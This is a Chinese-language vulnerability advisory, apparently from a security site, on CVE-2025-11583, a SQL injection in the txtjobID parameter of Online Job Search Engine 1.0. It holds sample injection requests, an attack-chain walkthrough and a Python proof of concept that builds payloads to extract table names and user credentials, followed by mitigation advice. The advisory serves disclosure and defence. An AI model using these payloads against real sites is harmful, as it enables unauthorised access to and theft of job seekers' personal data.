IPBUF安全漏洞报告
English
CVE-2025-11583 CVSS 7.3 高危

CVE-2025-11583:Online Job Search Engine 1.0 SQL注入漏洞

披露日期: 2025-10-10

漏洞信息

漏洞编号
CVE-2025-11583
漏洞类型
SQL注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
code-projects Online Job Search Engine

相关标签

SQL注入CVE-2025-11583Online Job Search Enginecode-projects高危漏洞远程利用Web应用安全数据库安全求职平台PHP

漏洞概述

CVE-2025-11583是code-projects公司开发的Online Job Search Engine(在线求职搜索引擎)1.0版本中存在的一个高危SQL注入漏洞。该漏洞位于应用程序的/postjob.php文件中,具体涉及对txtjobID参数的处理逻辑存在缺陷,攻击者可以通过构造恶意的SQL语句作为参数值,绕过应用程序的安全检查,直接与后端数据库进行交互。

根据CVSS 3.1评分体系,该漏洞的综合评分为7.3分,属于高危级别。其攻击向量为网络(AV:N),攻击复杂度低(AC:L),无需任何特权(PR:N),也无需用户交互(UI:N),这意味着该漏洞可以被远程攻击者轻易利用。漏洞对机密性、完整性和可用性均产生低级别的影响(C:L/I:L/A:L),但攻击者可以通过SQL注入进一步获取数据库中的敏感信息,如用户凭证、个人信息等,从而造成更严重的后果。

该漏洞的详细信息已由VulDB公开发布,并且已有公开的漏洞利用代码(PoC)可供使用,这大大增加了漏洞被实际利用的风险。受影响的产品是一款基于Web的在线求职搜索平台,主要用于求职者发布职位信息和搜索工作机会,因此涉及大量用户的个人信息和简历数据,具有较高的安全敏感性。建议使用该产品的组织尽快采取修复措施,以防止数据泄露和其他安全事件的发生。

技术细节

该SQL注入漏洞的根本原因在于/postjob.php文件在处理txtjobID参数时,未对该参数进行充分的输入验证和过滤,也未使用参数化查询或预编译语句(Prepared Statements),而是直接将用户输入拼接到SQL查询语句中执行。这种不安全的编码实践使得攻击者可以通过在txtjobID参数中注入恶意的SQL代码片段,改变原始查询的逻辑结构。

具体而言,攻击者可以构造类似如下的恶意请求:

GET /postjob.php?txtjobID=1' OR '1'='1 HTTP/1.1

或者使用基于UNION的注入:

GET /postjob.php?txtjobID=1' UNION SELECT username,password FROM users-- - HTTP/1.1

通过这种注入方式,攻击者可以:
1. 利用布尔盲注或时间盲注技术逐步提取数据库中的数据;
2. 使用UNION联合查询直接获取其他表中的敏感信息;
3. 利用堆叠查询(Stacked Queries)在某些数据库(如SQL Server)中执行多条SQL语句;
4. 通过INTO OUTFILE等方式将恶意内容写入服务器文件系统;
5. 在极端情况下,利用数据库的xp_cmdshell等扩展功能执行操作系统命令。

由于该漏洞无需认证即可远程利用,且利用代码已经公开,攻击者可以很容易地编写自动化扫描工具,对互联网上部署了该系统的服务器进行大规模扫描和攻击,从而获取大量求职者的个人信息和企业的招聘数据。

攻击链分析

STEP 1
步骤1:目标侦察
攻击者通过搜索引擎(如Shodan、Censys)或特定的网络扫描工具,识别互联网上部署了code-projects Online Job Search Engine 1.0的Web服务器,确认目标系统的存在和可达性。
STEP 2
步骤2:漏洞探测
攻击者访问目标网站的/postjob.php文件,向txtjobID参数提交包含单引号(')的测试payload,通过观察响应内容的差异(如错误信息、响应长度变化等),确认SQL注入漏洞的存在。
STEP 3
步骤3:注入类型识别
攻击者通过构造不同的注入payload(如布尔型、时间型、UNION联合查询型等),确定该漏洞的具体利用方式,并探测后端数据库的类型(MySQL、SQL Server等)以及查询结果的列数。
STEP 4
步骤4:数据提取
利用确认的注入技术,攻击者通过UNION查询或盲注技术,从数据库中提取敏感信息,包括管理员账号、用户密码哈希、个人身份信息(PII)、简历数据等。
STEP 5
步骤5:权限提升与持久化
获取管理员凭证后,攻击者可以登录系统后台,上传Webshell或修改系统配置,实现对服务器的持久化控制,进一步窃取数据或进行内网渗透。
STEP 6
步骤6:数据泄露与破坏
攻击者将窃取的求职者个人信息和简历数据在暗网出售,或利用数据库权限删除/篡改数据,对企业和求职者造成严重的经济损失和声誉损害。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11583 - Online Job Search Engine 1.0 SQL Injection PoC # Vulnerability: SQL Injection via txtjobID parameter in /postjob.php # Author: Security Researcher # Reference: https://github.com/iMayday-Yee/Vulnerability/issues/5 import requests import sys TARGET_URL = "http://target.com/postjob.php" INJECTION_PARAM = "txtjobID" def check_injection(url): """Check if the target is vulnerable to SQL injection""" # Normal request normal_payload = "1" try: r_normal = requests.get(url, params={INJECTION_PARAM: normal_payload}, timeout=10) normal_length = len(r_normal.text) except Exception as e: print(f"[ERROR] Connection failed: {e}") return False # Boolean-based injection payload (true condition) true_payload = "1' OR '1'='1" try: r_true = requests.get(url, params={INJECTION_PARAM: true_payload}, timeout=10) true_length = len(r_true.text) except Exception as e: print(f"[ERROR] Request failed: {e}") return False # Boolean-based injection payload (false condition) false_payload = "1' OR '1'='2" try: r_false = requests.get(url, params={INJECTION_PARAM: false_payload}, timeout=10) false_length = len(r_false.text) except Exception as e: print(f"[ERROR] Request failed: {e}") return False print(f"[*] Normal response length: {normal_length}") print(f"[*] True condition response length: {true_length}") print(f"[*] False condition response length: {false_length}") # If true condition returns different response than false, target is vulnerable if true_length != false_length: print("[+] Target is VULNERABLE to SQL injection!") return True else: print("[-] Target does not appear to be vulnerable") return False def exploit_union_injection(url): """Attempt UNION-based SQL injection to extract data""" # Determine number of columns first for i in range(1, 15): cols = ",".join([str(x) for x in range(1, i+1)]) payload = f"-1' UNION SELECT {cols}-- -" try: r = requests.get(url, params={INJECTION_PARAM: payload}, timeout=10) if r.status_code == 200 and "error" not in r.text.lower()[:500]: print(f"[+] Number of columns: {i}") # Extract database info info_payload = f"-1' UNION SELECT {cols}-- -" print(f"[*] Payload: {payload}") return True except Exception: continue return False def extract_data(url, columns): """Extract sensitive data via UNION injection""" # Get current database name cols = ",".join([str(x) for x in range(1, columns+1)]) db_payload = f"-1' UNION SELECT database(),{cols[2:]}-- -" print(f"[*] Database extraction payload: {db_payload}") # Get table names tables_payload = f"-1' UNION SELECT group_concat(table_name),{cols[2:]} FROM information_schema.tables WHERE table_schema=database()-- -" print(f"[*] Tables extraction payload: {tables_payload}") # Get user credentials users_payload = f"-1' UNION SELECT group_concat(username,0x3a,password),{cols[2:]} FROM users-- -" print(f"[*] Users extraction payload: {users_payload}") if __name__ == "__main__": target = sys.argv[1] if len(sys.argv) > 1 else TARGET_URL print(f"[*] Target: {target}") print("[*] Testing for SQL injection vulnerability (CVE-2025-11583)...") if check_injection(target): print("[*] Attempting UNION-based exploitation...") if exploit_union_injection(target): print("[+] Exploitation successful!") else: print("[-] UNION exploitation failed, try time-based blind injection")

影响范围

code-projects Online Job Search Engine 1.0

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1)通过Web应用防火墙(WAF)部署SQL注入防护规则,过滤包含UNION、SELECT、OR等关键字的可疑请求;2)在Web服务器层面限制对/postjob.php文件的访问,或临时禁用相关功能;3)修改应用代码,对txtjobID参数进行严格的输入验证,确保其为整数类型;4)使用数据库防火墙监控和阻断异常的SQL查询行为;5)加强日志监控,及时发现和响应可疑的访问请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表